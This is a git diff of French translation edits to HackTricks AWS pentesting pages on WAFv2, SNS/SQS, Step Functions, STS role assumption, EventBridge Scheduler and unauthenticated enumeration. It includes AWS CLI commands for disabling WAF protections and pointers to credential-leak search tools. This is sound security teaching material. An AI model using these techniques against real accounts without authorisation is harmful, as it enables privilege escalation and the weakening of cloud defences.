**`wafv2:DisassociateWebACL`**, l'attaquant pourrait désactiver temporairement les protections de sécurité, exposant les ressources à des vulnérabilités sans détection. -Les permissions supplémentaires seraient nécessaires en fonction du type de ressource protégée : +Des permissions supplémentaires seraient nécessaires en fonction du type de ressource protégée : - **Associer** - apigateway:SetWebACL @@ -357,7 +357,7 @@ aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` -**Impact potentiel** : Sécurité des ressources compromises, risque accru d'exploitation et interruptions potentielles de service au sein des environnements AWS protégés par AWS WAF. +**Impact potentiel** : Sécurité des ressources compromise, risque accru d'exploitation et interruptions potentielles de service au sein des environnements AWS protégés par AWS WAF. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** @@ -391,7 +391,7 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` -**Impact potentiel** : Contourner les contrôles de sécurité, permettant à un contenu malveillant de passer et exposant potentiellement des données sensibles ou perturbant les services et ressources protégés par AWS WAF. +**Impact potentiel** : Contourner les contrôles de sécurité, permettant à un contenu malveillant de passer et exposant potentiellement des données sensibles ou perturbant des services et des ressources protégés par AWS WAF. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** @@ -431,7 +431,7 @@ aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` -**Impact potentiel** : Manipulation des ressources, fuite d'informations, manipulation des coûts et perturbation opérationnelle. +**Impact potentiel** : falsification des ressources, fuite d'informations, manipulation des coûts et perturbation opérationnelle. ## Références diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 8364aff3f..ba2142127 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -6,7 +6,7 @@ Amazon Simple Email Service (Amazon SES) est conçu pour **l'envoi et la réception d'emails**. Il permet aux utilisateurs d'envoyer des emails transactionnels, marketing ou de notification de manière efficace et sécurisée à grande échelle. Il **s'intègre bien avec d'autres services AWS**, offrant une solution robuste pour gérer les communications par email pour les entreprises de toutes tailles. -Vous devez enregistrer des **identités**, qui peuvent être des domaines ou des adresses email qui pourront interagir avec SES (par exemple, envoyer et recevoir des emails). +Vous devez enregistrer **des identités**, qui peuvent être des domaines ou des adresses email qui pourront interagir avec SES (par exemple, envoyer et recevoir des emails). ### Utilisateur SMTP @@ -32,7 +32,7 @@ chmod u+x ./ses-smtp-conv.sh ``` Il est également possible de le faire depuis la console web AWS. -### Enumeration +### Énumération > [!WARNING] > Notez que SES a 2 API : **`ses`** et **`sesv2`**. Certaines actions se trouvent dans les deux API et d'autres ne se trouvent que dans l'une des deux. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index 2ddcd0c79..9d9aa7a59 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -6,13 +6,13 @@ Amazon Simple Notification Service (Amazon SNS) est décrit comme un **service de messagerie entièrement géré**. Il prend en charge à la fois les types de communication **application-à-application** (A2A) et **application-à-personne** (A2P). -Les fonctionnalités clés pour la communication A2A incluent les **mécanismes de publication/abonnement (pub/sub)**. Ces mécanismes introduisent des **sujets**, cruciaux pour permettre une messagerie **push basée sur un haut débit et de nombreux à de nombreux**. Cette fonctionnalité est très avantageuse dans les scénarios impliquant des systèmes distribués, des microservices et des architectures sans serveur basées sur des événements. En tirant parti de ces sujets, les systèmes de publication peuvent distribuer efficacement des messages à un **large éventail de systèmes d'abonnement**, facilitant un modèle de messagerie de diffusion. +Les fonctionnalités clés pour la communication A2A incluent les **mécanismes de publication/abonnement (pub/sub)**. Ces mécanismes introduisent des **sujets**, cruciaux pour permettre une messagerie **push basée sur un haut débit et de nombreux à de nombreux**. Cette fonctionnalité est très avantageuse dans les scénarios impliquant des systèmes distribués, des microservices et des architectures sans serveur pilotées par des événements. En tirant parti de ces sujets, les systèmes de publication peuvent distribuer efficacement des messages à un **large éventail de systèmes d'abonnement**, facilitant un modèle de messagerie en éventail. ### **Différence avec SQS** **SQS** est un service **basé sur des files d'attente** qui permet une communication point à point, garantissant que les messages sont traités par un **unique consommateur**. Il offre une **livraison au moins une fois**, prend en charge les files d'attente standard et FIFO, et permet la conservation des messages pour des réessais et un traitement différé.\ D'autre part, **SNS** est un service **basé sur la publication/abonnement**, permettant une communication **un-à-plusieurs** en diffusant des messages à **plusieurs abonnés** simultanément. Il prend en charge **divers points de terminaison d'abonnement comme l'email, le SMS, les fonctions Lambda et HTTP/HTTPS**, et fournit des mécanismes de filtrage pour une livraison ciblée des messages.\ -Bien que les deux services permettent le découplage entre les composants dans des systèmes distribués, SQS se concentre sur la communication en file d'attente, tandis que SNS met l'accent sur les modèles de communication basés sur des événements et de diffusion. +Bien que les deux services permettent le découplage entre les composants dans des systèmes distribués, SQS se concentre sur la communication en file d'attente, tandis que SNS met l'accent sur les modèles de communication pilotés par des événements et en éventail. ### **Énumération** ```bash @@ -44,7 +44,7 @@ aws sns subscribe --region \ > [!CAUTION] > Notez que si le **sujet est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés (HTTP ou HTTPS ne peuvent pas être utilisés). > -> De plus, même si le `--topic-arn` contient la région, assurez-vous de spécifier la bonne région dans **`--region`** ou vous obtiendrez une erreur indiquant que vous n'avez pas accès, mais le problème est la région. +> De plus, même si le `--topic-arn` contient la région, assurez-vous de spécifier la bonne région dans **`--region`** ou vous obtiendrez une erreur qui ressemble à une indication que vous n'avez pas accès, mais le problème est la région. #### Accès non authentifié @@ -58,7 +58,7 @@ aws sns subscribe --region \ ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} -#### Post-exploitation +#### Post exploitation {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 38b4bbbbc..0399f24d8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -18,7 +18,7 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` > [!CAUTION] -> De plus, même si le `--queue-url` contient la région, assurez-vous de spécifier la bonne région dans **`--region`** ou vous obtiendrez une erreur qui semble indiquer que vous n'avez pas accès, mais le problème est la région. +> De plus, même si le `--queue-url` contient la région, assurez-vous de spécifier la bonne région dans **`--region`** ou vous obtiendrez une erreur qui ressemble à celle indiquant que vous n'avez pas accès, mais le problème est la région. #### Accès non authentifié diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index cb59e1249..2f65e1b2e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -6,23 +6,23 @@ AWS Step Functions est un service de flux de travail qui vous permet de coordonner et d'orchestrer plusieurs services AWS en flux de travail sans serveur. En utilisant AWS Step Functions, vous pouvez concevoir et exécuter des flux de travail qui connectent divers services AWS tels qu'AWS Lambda, Amazon S3, Amazon DynamoDB, et bien d'autres, dans une séquence d'étapes. Ce service d'orchestration fournit une interface de flux de travail visuelle et offre des capacités de **machine d'état**, vous permettant de définir chaque étape du flux de travail de manière déclarative en utilisant le **Amazon States Language** (ASL) basé sur JSON. -## Key concepts +## Concepts clés -### Standard vs. Express Workflows +### Flux de travail Standard vs. Express AWS Step Functions propose deux types de **flux de travail de machine d'état** : Standard et Express. -- **Standard Workflow** : Ce type de flux de travail par défaut est conçu pour des processus longs, durables et audités. Il prend en charge l'**exécution exactement une fois**, garantissant que les tâches s'exécutent une seule fois, sauf si des réessais sont spécifiés. Il est idéal pour les flux de travail nécessitant un historique d'exécution détaillé et peut fonctionner pendant jusqu'à un an. -- **Express Workflow** : Ce type est idéal pour des tâches de volume élevé et de courte durée, s'exécutant jusqu'à cinq minutes. Ils prennent en charge l'**exécution au moins une fois**, adaptée aux tâches idempotentes comme le traitement de données. Ces flux de travail sont optimisés pour le coût et la performance, facturant en fonction des exécutions, de la durée et de l'utilisation de la mémoire. +- **Flux de travail Standard** : Ce type de flux de travail par défaut est conçu pour des processus durables, audités et de longue durée. Il prend en charge l'**exécution exactement une fois**, garantissant que les tâches s'exécutent une seule fois, sauf si des réessais sont spécifiés. Il est idéal pour les flux de travail nécessitant un historique d'exécution détaillé et peut fonctionner jusqu'à un an. +- **Flux de travail Express** : Ce type est idéal pour des tâches de volume élevé et de courte durée, s'exécutant jusqu'à cinq minutes. Ils prennent en charge l'**exécution au moins une fois**, adaptés aux tâches idempotentes comme le traitement de données. Ces flux de travail sont optimisés pour le coût et la performance, facturant en fonction des exécutions, de la durée et de l'utilisation de la mémoire. -### States +### États Les états sont les unités essentielles des machines d'état. Ils définissent les étapes individuelles au sein d'un flux de travail, pouvant effectuer une variété de fonctions selon leur type : - **Task :** Exécute un travail, souvent en utilisant un service AWS comme Lambda. - **Choice :** Prend des décisions basées sur l'entrée. - **Fail/Succeed :** Termine l'exécution avec un échec ou un succès. -- **Pass :** Passe l'entrée à la sortie ou injecte des données. +- **Pass :** Transmet l'entrée à la sortie ou injecte des données. - **Wait :** Retarde l'exécution pendant un temps défini. - **Parallel :** Initie des branches parallèles. - **Map :** Itère dynamiquement les étapes sur des éléments. @@ -31,14 +31,14 @@ Les états sont les unités essentielles des machines d'état. Ils définissent Un état **Task** représente une unité de travail unique exécutée par une machine d'état. Les tâches peuvent invoquer diverses ressources, y compris des activités, des fonctions Lambda, des services AWS ou des API tierces. -- **Activities** : Travailleurs personnalisés que vous gérez, adaptés aux processus longs. -- Resource : **`arn:aws:states:region:account:activity:name`**. +- **Activities** : Travailleurs personnalisés que vous gérez, adaptés aux processus de longue durée. +- Ressource : **`arn:aws:states:region:account:activity:name`**. - **Lambda Functions** : Exécute des fonctions AWS Lambda. -- Resource : **`arn:aws:lambda:region:account:function:function-name`**. +- Ressource : **`arn:aws:lambda:region:account:function:function-name`**. - **AWS Services** : S'intègre directement avec d'autres services AWS, comme DynamoDB ou S3. -- Resource : **`arn:partition:states:region:account:servicename:APIname`**. +- Ressource : **`arn:partition:states:region:account:servicename:APIname`**. - **HTTP Task** : Appelle des API tierces. -- Resource field : **`arn:aws:states:::http:invoke`**. Ensuite, vous devez fournir les détails de configuration de l'endpoint API, tels que l'URL de l'API, la méthode et les détails d'authentification. +- Champ de ressource : **`arn:aws:states:::http:invoke`**. Ensuite, vous devez fournir les détails de configuration de l'endpoint API, tels que l'URL de l'API, la méthode et les détails d'authentification. L'exemple suivant montre une définition d'état Task qui invoque une fonction Lambda appelée HelloWorld : ```json @@ -52,14 +52,14 @@ L'exemple suivant montre une définition d'état Task qui invoque une fonction L "End": true } ``` -### Choice +### Choix -Un **Choice** état ajoute une logique conditionnelle à un flux de travail, permettant des décisions basées sur des données d'entrée. Il évalue les conditions spécifiées et transitionne vers l'état correspondant en fonction des résultats. +Un état de **Choix** ajoute une logique conditionnelle à un flux de travail, permettant des décisions basées sur des données d'entrée. Il évalue les conditions spécifiées et transitionne vers l'état correspondant en fonction des résultats. -- **Comparison**: Chaque règle de choix inclut un opérateur de comparaison (par exemple, **`NumericEquals`**, **`StringEquals`**) qui compare une variable d'entrée à une valeur spécifiée ou à une autre variable. -- **Next Field**: Les états de choix ne prennent pas en charge le champ **`End`**, au lieu de cela, ils définissent l'état **`Next`** vers lequel transitionner si la comparaison est vraie. +- **Comparaison** : Chaque règle de choix inclut un opérateur de comparaison (par exemple, **`NumericEquals`**, **`StringEquals`**) qui compare une variable d'entrée à une valeur spécifiée ou à une autre variable. +- **Champ Suivant** : Les états de choix ne prennent pas en charge le champ **`End`**, au lieu de cela, ils définissent l'état **`Next`** vers lequel transiter si la comparaison est vraie. -Exemple d'état **Choice** : +Exemple d'état de **Choix** : ```json { "Variable": "$.timeStamp", @@ -67,7 +67,7 @@ Exemple d'état **Choice** : "Next": "TimeState" } ``` -### Échouer/Réussir +### Échec/Réussite Un état **`Fail`** arrête l'exécution d'une machine d'état et la marque comme un échec. Il est utilisé pour spécifier un nom d'erreur et une cause, fournissant des détails sur l'échec. Cet état est terminal, ce qui signifie qu'il met fin au flux d'exécution. @@ -104,9 +104,9 @@ Un état **Pass** transmet son entrée à sa sortie soit sans effectuer de trava "Next": "NextState" } ``` -### Wait +### Attendre -Un **Wait** état retarde l'exécution de la machine d'état pour une durée spécifiée. Il existe trois méthodes principales pour configurer le temps d'attente : +Un état **Wait** retarde l'exécution de la machine d'état pendant une durée spécifiée. Il existe trois méthodes principales pour configurer le temps d'attente : - **X Secondes** : Un nombre fixe de secondes à attendre. @@ -118,7 +118,7 @@ Un **Wait** état retarde l'exécution de la machine d'état pour une durée sp } ``` -- **Horodatage Absolu** : Un moment exact à attendre jusqu'à. +- **Horodatage Absolu** : Un moment exact jusqu'auquel attendre. ```json "WaitState": { @@ -139,9 +139,9 @@ jsonCopiar código } ``` -### Parallel +### Parallèle -Un **Parallel** état vous permet d'exécuter plusieurs branches de tâches simultanément dans votre flux de travail. Chaque branche s'exécute indépendamment et traite sa propre séquence d'états. L'exécution attend que toutes les branches soient terminées avant de passer à l'état suivant. Ses champs clés sont : +Un état **Parallel** vous permet d'exécuter plusieurs branches de tâches simultanément dans votre flux de travail. Chaque branche s'exécute indépendamment et traite sa propre séquence d'états. L'exécution attend que toutes les branches soient terminées avant de passer à l'état suivant. Ses champs clés sont : - **Branches** : Un tableau définissant les chemins d'exécution parallèles. Chaque branche est une machine d'état distincte. - **ResultPath** : Définit où (dans l'entrée) placer la sortie combinée des branches. @@ -232,23 +232,23 @@ Un **Map** état permet l'exécution d'un ensemble d'étapes pour chaque éléme } ``` -### Versions and aliases +### Versions et alias Step Functions vous permet également de gérer les déploiements de flux de travail via des **versions** et des **alias** de machines d'état. Une version représente un instantané d'une machine d'état qui peut être exécuté. Les alias servent de pointeurs vers jusqu'à deux versions d'une machine d'état. - **Versions** : Ces instantanés immuables d'une machine d'état sont créés à partir de la révision la plus récente de cette machine d'état. Chaque version est identifiée par un ARN unique qui combine l'ARN de la machine d'état avec le numéro de version, séparés par un deux-points (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Les versions ne peuvent pas être modifiées, mais vous pouvez mettre à jour la machine d'état et publier une nouvelle version, ou utiliser la version de machine d'état souhaitée. -- **Aliases** : Ces pointeurs peuvent référencer jusqu'à deux versions de la même machine d'état. Plusieurs alias peuvent être créés pour une seule machine d'état, chacun identifié par un ARN unique construit en combinant l'ARN de la machine d'état avec le nom de l'alias, séparés par un deux-points (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Les alias permettent de diriger le trafic entre l'une des deux versions d'une machine d'état. Alternativement, un alias peut pointer vers une version spécifique de la machine d'état, mais pas vers d'autres alias. Ils peuvent être mis à jour pour rediriger vers une version différente de la machine d'état si nécessaire, facilitant les déploiements contrôlés et la gestion des flux de travail. +- **Alias** : Ces pointeurs peuvent référencer jusqu'à deux versions de la même machine d'état. Plusieurs alias peuvent être créés pour une seule machine d'état, chacun identifié par un ARN unique construit en combinant l'ARN de la machine d'état avec le nom de l'alias, séparés par un deux-points (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Les alias permettent de diriger le trafic entre l'une des deux versions d'une machine d'état. Alternativement, un alias peut pointer vers une version spécifique de la machine d'état, mais pas vers d'autres alias. Ils peuvent être mis à jour pour rediriger vers une version différente de la machine d'état si nécessaire, facilitant les déploiements contrôlés et la gestion des flux de travail. Pour des informations plus détaillées sur **ASL**, consultez : [**Amazon States Language**](https://states-language.net/spec.html). -## IAM Roles for State machines +## Rôles IAM pour les machines d'état -AWS Step Functions utilise les rôles AWS Identity and Access Management (IAM) pour contrôler l'accès aux ressources et aux actions au sein des machines d'état. Voici les aspects clés liés à la sécurité et aux rôles IAM dans AWS Step Functions : +AWS Step Functions utilise les rôles AWS Identity and Access Management (IAM) pour contrôler l'accès aux ressources et aux actions au sein des machines d'état. Voici les principaux aspects liés à la sécurité et aux rôles IAM dans AWS Step Functions : -- **Execution Role** : Chaque machine d'état dans AWS Step Functions est associée à un rôle d'exécution IAM. Ce rôle définit quelles actions la machine d'état peut effectuer en votre nom. Lorsqu'une machine d'état passe d'états qui interagissent avec des services AWS (comme invoquer des fonctions Lambda, accéder à DynamoDB, etc.), elle assume ce rôle d'exécution pour réaliser ces actions. +- **Rôle d'exécution** : Chaque machine d'état dans AWS Step Functions est associée à un rôle d'exécution IAM. Ce rôle définit quelles actions la machine d'état peut effectuer en votre nom. Lorsqu'une machine d'état passe d'états qui interagissent avec des services AWS (comme invoquer des fonctions Lambda, accéder à DynamoDB, etc.), elle assume ce rôle d'exécution pour réaliser ces actions. - **Permissions** : Le rôle d'exécution IAM doit être configuré avec des permissions qui permettent les actions nécessaires sur d'autres services AWS. Par exemple, si votre machine d'état doit invoquer des fonctions AWS Lambda, le rôle IAM doit avoir des permissions **`lambda:InvokeFunction`**. De même, si elle doit écrire dans DynamoDB, des permissions appropriées (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) doivent être accordées. -## Enumeration +## Énumération La politique ReadOnlyAccess est suffisante pour toutes les actions d'énumération suivantes. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 050f2833f..32f216a66 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,17 +4,17 @@ ## STS -**AWS Security Token Service (STS)** est principalement conçu pour émettre des **identifiants temporaires à privilèges limités**. Ces identifiants peuvent être demandés pour des **utilisateurs AWS Identity and Access Management (IAM)** ou pour des utilisateurs authentifiés (utilisateurs fédérés). +**AWS Security Token Service (STS)** est principalement conçu pour émettre des **identifiants temporaires à privilèges limités**. Ces identifiants peuvent être demandés pour des utilisateurs **AWS Identity and Access Management (IAM)** ou pour des utilisateurs authentifiés (utilisateurs fédérés). -Étant donné que le but de STS est d'**émettre des identifiants pour l'usurpation d'identité**, le service est extrêmement précieux pour **l'escalade de privilèges et le maintien de la persistance**, même s'il peut ne pas avoir un large éventail d'options. +Étant donné que le but de STS est d'**émettre des identifiants pour l'usurpation d'identité**, le service est extrêmement précieux pour **l'escalade de privilèges et le maintien de la persistance**, même s'il peut ne pas avoir une large gamme d'options. -### Usurpation de rôle +### Usurpation de Rôle L'action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) fournie par AWS STS est cruciale car elle permet à un principal d'acquérir des identifiants pour un autre principal, l'usurpant essentiellement. Lors de l'invocation, elle répond avec un ID de clé d'accès, une clé secrète et un jeton de session correspondant à l'ARN spécifié. Pour les testeurs de pénétration ou les membres de l'équipe rouge, cette technique est essentielle pour l'escalade de privilèges (comme expliqué [**ici**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Cependant, il convient de noter que cette technique est assez évidente et peut ne pas surprendre un attaquant. -#### Logique d'assumer un rôle +#### Logique d'Usurpation de Rôle Pour assumer un rôle dans le même compte si le **rôle à assumer permet spécifiquement un ARN de rôle** comme dans : ```json @@ -52,9 +52,9 @@ Cependant, si un rôle permet à un compte de l'assumer, comme dans : ``` Le rôle essayant de l'assumer aura besoin d'une **permission `sts:AssumeRole` spécifique** sur ce rôle **pour l'assumer**. -Si vous essayez d'assumer un **rôle** **d'un compte différent**, le **rôle assumé doit le permettre** (indiquant le **ARN** du rôle ou le **compte externe**), et le **rôle essayant d'assumer** l'autre **DOIT** avoir des **permissions pour l'assumer** (dans ce cas, ce n'est pas optionnel même si le rôle assumé spécifie un ARN). +Si vous essayez d'assumer un **rôle** **d'un compte différent**, le **rôle assumé doit le permettre** (indiquant le **ARN** du rôle ou le **compte externe**), et le **rôle essayant d'assumer** l'autre **DOIT** avoir des permissions pour l'assumer (dans ce cas, ce n'est pas optionnel même si le rôle assumé spécifie un ARN). -### Enumeration +### Énumération ```bash # Get basic info of the creds aws sts get-caller-identity @@ -87,7 +87,7 @@ Dans la page suivante, vous pouvez vérifier comment **abuser des permissions ST ../aws-persistence/aws-sts-persistence.md {{#endref}} -## References +## Références - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index e448023de..40f6c1095 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,7 +6,7 @@ ## Planificateur EventBridge -**Amazon EventBridge Scheduler** est un **planificateur sans serveur entièrement géré conçu pour créer, exécuter et gérer des tâches** à grande échelle. Il vous permet de planifier des millions de tâches à travers plus de 270 services AWS et plus de 6 000 opérations API, le tout à partir d'un service central. Avec une fiabilité intégrée et aucune infrastructure à gérer, le Planificateur EventBridge simplifie la planification, réduit les coûts de maintenance et s'adapte automatiquement à la demande. Vous pouvez configurer des expressions cron ou de taux pour des horaires récurrents, définir des invocations uniques et définir des fenêtres de livraison flexibles avec des options de réessai, garantissant que les tâches sont livrées de manière fiable en fonction de la disponibilité des cibles en aval. +**Amazon EventBridge Scheduler** est un planificateur entièrement géré et **sans serveur conçu pour créer, exécuter et gérer des tâches** à grande échelle. Il vous permet de planifier des millions de tâches à travers plus de 270 services AWS et plus de 6 000 opérations API, le tout à partir d'un service central. Avec une fiabilité intégrée et aucune infrastructure à gérer, le Planificateur EventBridge simplifie la planification, réduit les coûts de maintenance et s'adapte automatiquement à la demande. Vous pouvez configurer des expressions cron ou de taux pour des horaires récurrents, définir des invocations uniques et définir des fenêtres de livraison flexibles avec des options de réessai, garantissant que les tâches sont livrées de manière fiable en fonction de la disponibilité des cibles en aval. Il y a une limite initiale de 1 000 000 d'horaires par région et par compte. Même la page officielle des quotas suggère : "Il est recommandé de supprimer les horaires uniques une fois qu'ils sont terminés." @@ -25,26 +25,26 @@ Deux Mécanismes pour Gérer les Événements Échoués : ### Cibles -Il existe 2 types de cibles pour un planificateur [**templées (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), qui sont couramment utilisées et qu'AWS a rendues plus faciles à configurer, et [**universelles (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), qui peuvent être utilisées pour appeler n'importe quelle API AWS. +Il existe 2 types de cibles pour un planificateur [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), qui sont couramment utilisés et qu'AWS a rendus plus faciles à configurer, et [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), qui peuvent être utilisés pour appeler n'importe quelle API AWS. -**Cibles templées** prennent en charge les services suivants : +**Cibles templated** prennent en charge les services suivants : - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask -- Paramètres : EcsParameters +- Parameters: EcsParameters - EventBridge – PutEvents -- Paramètres : EventBridgeParameters +- Parameters: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord -- Paramètres : KinesisParameters +- Parameters: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution -- Paramètres : SageMakerPipelineParameters +- Parameters: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage -- Paramètres : SqsParameters +- Parameters: SqsParameters - Step Functions – StartExecution ### Énumération diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 97d11b252..5b4db80c5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,48 +1,48 @@ -# AWS - Enum & Accès non authentifié +# AWS - Enum & Accès Non Authentifié {{#include ../../../banners/hacktricks-training.md}} ## Fuites de Credentials AWS -Une méthode courante pour obtenir un accès ou des informations sur un compte AWS est de **chercher des fuites**. Vous pouvez rechercher des fuites en utilisant **google dorks**, en vérifiant les **repos publics** de l'**organisation** et des **travailleurs** de l'organisation sur **Github** ou d'autres plateformes, en recherchant dans des **bases de données de fuites de credentials**... ou dans toute autre partie où vous pensez pouvoir trouver des informations sur l'entreprise et son infrastructure cloud.\ +Une méthode courante pour obtenir un accès ou des informations sur un compte AWS est de **chercher des fuites**. Vous pouvez rechercher des fuites en utilisant des **google dorks**, en vérifiant les **repos publics** de l'**organisation** et des **travailleurs** de l'organisation sur **Github** ou d'autres plateformes, en cherchant dans les **bases de données de fuites de credentials**... ou dans toute autre partie où vous pensez pouvoir trouver des informations sur l'entreprise et son infrastructure cloud.\ Quelques **outils** utiles : - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## Enum & Accès non authentifié AWS +## Enum & Accès Non Authentifié AWS Il existe plusieurs services dans AWS qui pourraient être configurés pour donner un certain type d'accès à tout Internet ou à plus de personnes que prévu. Vérifiez ici comment : -- [**Enumération non authentifiée des comptes**](aws-accounts-unauthenticated-enum.md) -- [**Enumération non authentifiée de Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Enumération non authentifiée de Cloudfront**](aws-cloudfront-unauthenticated-enum.md) -- [**Enumération non authentifiée de Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Enumération non authentifiée de Cognito**](aws-cognito-unauthenticated-enum.md) -- [**Enumération non authentifiée de DocumentDB**](aws-documentdb-enum.md) -- [**Enumération non authentifiée d'EC2**](aws-ec2-unauthenticated-enum.md) -- [**Enumération non authentifiée d'Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md) -- [**Enumération non authentifiée d'IAM**](aws-iam-and-sts-unauthenticated-enum.md) -- [**Accès non authentifié IoT**](aws-iot-unauthenticated-enum.md) -- [**Accès non authentifié Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) -- [**Accès non authentifié Media**](aws-media-unauthenticated-enum.md) -- [**Accès non authentifié MQ**](aws-mq-unauthenticated-enum.md) -- [**Accès non authentifié MSK**](aws-msk-unauthenticated-enum.md) -- [**Accès non authentifié RDS**](aws-rds-unauthenticated-enum.md) -- [**Accès non authentifié Redshift**](aws-redshift-unauthenticated-enum.md) -- [**Accès non authentifié SQS**](aws-sqs-unauthenticated-enum.md) -- [**Accès non authentifié S3**](aws-s3-unauthenticated-enum.md) +- [**Enum Non Authentifié des Comptes**](aws-accounts-unauthenticated-enum.md) +- [**Enum Non Authentifié de Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Enum Non Authentifié de Cloudfront**](aws-cloudfront-unauthenticated-enum.md) +- [**Enum Non Authentifié de Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Enum Non Authentifié de Cognito**](aws-cognito-unauthenticated-enum.md) +- [**Enum Non Authentifié de DocumentDB**](aws-documentdb-enum.md) +- [**Enum Non Authentifié de EC2**](aws-ec2-unauthenticated-enum.md) +- [**Enum Non Authentifié d'Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md) +- [**Enum Non Authentifié d'IAM**](aws-iam-and-sts-unauthenticated-enum.md) +- [**Accès Non Authentifié IoT**](aws-iot-unauthenticated-enum.md) +- [**Accès Non Authentifié Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) +- [**Accès Non Authentifié Media**](aws-media-unauthenticated-enum.md) +- [**Accès Non Authentifié MQ**](aws-mq-unauthenticated-enum.md) +- [**Accès Non Authentifié MSK**](aws-msk-unauthenticated-enum.md) +- [**Accès Non Authentifié RDS**](aws-rds-unauthenticated-enum.md) +- [**Accès Non Authentifié Redshift**](aws-redshift-unauthenticated-enum.md) +- [**Accès Non Authentifié SQS**](aws-sqs-unauthenticated-enum.md) +- [**Accès Non Authentifié S3**](aws-s3-unauthenticated-enum.md) -## Attaques inter-comptes +## Attaques Inter-Comptes -Dans la présentation [**Briser l'Isolation : Vulnérabilités AWS inter-comptes**](https://www.youtube.com/watch?v=JfEFIcpJ2wk), il est présenté comment certains services permettaient à n'importe quel compte AWS d'y accéder parce que **les services AWS sans spécifier d'ID de compte** étaient autorisés. +Dans la présentation [**Briser l'Isolation : Vulnérabilités AWS Inter-Comptes**](https://www.youtube.com/watch?v=JfEFIcpJ2wk), il est présenté comment certains services permettaient à n'importe quel 